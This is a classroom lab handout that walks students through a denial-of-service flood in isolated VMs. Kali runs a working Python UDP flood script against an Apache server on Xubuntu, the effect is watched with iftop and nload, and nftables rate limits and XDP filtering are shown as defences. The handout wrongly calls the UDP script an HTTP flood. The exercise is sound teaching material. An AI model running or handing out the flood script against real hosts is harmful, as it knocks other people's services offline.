DDoS Attack Lab

Purpose and Intent

The purpose of this lab is to demonstrate a Distributed Denial of Service (DDoS) attack in a controlled environment. Students will use Kali Linux to overwhelm an Xubuntu victim virtual machine with traffic, saturating bandwidth and degrading services.

Setup Requirements *(perform ONLY in an isolated virtual network, never perform on real networks)*

- Kali Linux VM (Attacker), Xubuntu VM (Victim), Ubuntu VM (Observer, optional)

Part 1 – Install Monitoring Tools

- Set the bandwidth to 45Mbps on the victim VM, and install some tools:

```
 sudo apt install iftop nload iptraf-ng ntopng -y
```

- Ensure Web Server is running to be attacked.

```
 sudo apt install apache2
 sudo systemctl start apache2
```

- Verify it works by the attacker or the observer accessing to http://(victim's IP).

Part 2 – Attacking

- On the attacker VM, ping to ensure you can reach the victim.
- Create a file named `ddos-attack.py` on your Kali machine. This script generates the HTTP request flood used to overwhelm the target. Copy the following code into the file:

```
import sys
import os
import time
import socket
import random

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)

os.system("clear")
os.system("figlet DDos Attack")
print
ip = raw_input("IP Target : ")
port = input("Port       : ")

os.system("clear")
os.system("figlet Attack Starting")
print ("[====================] 100%")
```

```
time.sleep(1)
sent = 0
while True:
    sock.sendto(bytes, (ip,port))
    sent = sent + 1
    print ("Sent %s packet to %s throught port:%s"%(sent,ip,port))
```

Part 3 – Start Monitoring

- On the victim VM, run the monitor tools in different window:

```
sudo iftop -i eth0
```

(First Terminal)

(Replace 'eth0' with your actual interface)

```
sudo nload -i eth0
```

(Second Terminal)

(Replace 'eth0' with your actual interface)

- Launch the Attack (Kali) Run the Python script to generate a lot of packets.

```
python2 ddos-attack.py
```

- Target IP: Enter the Xubuntu IP.
- Target Port: Enter 80 (HTTP).
- Look for massive spikes in RX traffic in the iftop or incoming traffic in the nload. Also Check if CPU usage increases significantly.
- Check the delay time from the attacker or the observer ping to victim. There is also a delay when the attacker or the oberser opens victim’s website.
- Check the DDoS attacker’s IP in the iftop.
- Using Ctrl+C to stop the attack to observe how quickly traffic drops and the web server becomes responsive again.

Part 4 – Defense DDoS

Firewall defense (nftables)

```
sudo nano /etc/nftables.conf
```

- Copy the following code into the nftables.conf:

```
#!/usr/sbin/nft -f

flush ruleset

table inet filter {

    set blacklist {

        type ipv4_addr
        flags timeout
    }
    chain input {
        type filter hook input priority 0;
        iif "lo" accept
        ct state established,related accept
        ip saddr @blacklist drop
        # ---- SYN FLOOD ----
        ct state new tcp flags syn limit rate 30/second accept
        ct state new tcp flags syn add @blacklist { ip saddr timeout
2m } drop
        # ---- UDP FLOOD ----
        ct state new ip protocol udp limit rate 200/second accept
        ct state new ip protocol udp add @blacklist { ip saddr
timeout 2m } drop
        # ---- ICMP FLOOD ----
        icmp type echo-request limit rate 10/second accept
        icmp type echo-request add @blacklist { ip saddr timeout 2m
} drop
        ct state invalid drop
        drop
    }
    chain forward {
        type filter hook forward priority filter;
    }
    chain output {
        type filter hook output priority filter;
    }
}
```

- Start the nftables to apply the rules of Linux firewall.

```
sudo systemctl enable nftables
sudo systemctl start nftables
```

- Check the blacklist of the Linux firewall.

```
sudo nft list set inet filter blacklist
```

- Above rules defines a set blacklist of IPv4 addresses with a timeout, sets SYN flood, UDP flood and ICMP flood packets threshold and expire time.
- When the nftables enables, the firewall on the linux will be enable. Then the attacker cannot open victim's website, but the observer can open.
- If stop DDoS attack, the attacker will open the victim's website when the nftables rule expire.

XDP defense

- Install the C language compile dependency:

```
sudo apt-get install clang llvm libbpf-dev make -y
```

- make a folder called xdp, copy xdp_ddos_protection.c and Makefile, run:

```
make compile
```

- if get compile error, run:

```
sudo ln -s /usr/include/x86_64-linux-gnu/asm /usr/include/asm
```

- To start XDP defense:

```
make attach IFACE=eth0
```

(Replace 'eth0' with your actual interface)

- To stop XDP defense:

```
make detach IFACE=eth0
```

(Replace 'eth0' with your actual interface)

- Same the nftables, XDP DDoS protection can track packets source IP and drop traffic that exceeds a threshold, but it runs directly in the NIC driver, processing packets before they enter the kernel.

- It's much faster, can handle higher packet rates, and is programmable.
- When the XDP defense starts, the attacker is unable to access the victim's website or send pings the victim. The observer still can.

Reflection Questions

1. Record the peak bandwidth usage and total packets transferred. How did the traffic pattern change compared to the baseline?
2. Explain the technical reason the web server stopped responding. Was the bottleneck bandwidth, CPU, or network connections?
3. Why did we target port 80? How would the attack differ if you targeted port 22 (SSH)?
4. If you were a network administrator, what specific indicators in iftop would alert you to this attack? Why might blocking the IP address fail in a real-world distributed attack?
5. This lab used a single source. Explain why attacking from multiple sources (botnet) makes detection and defense significantly harder.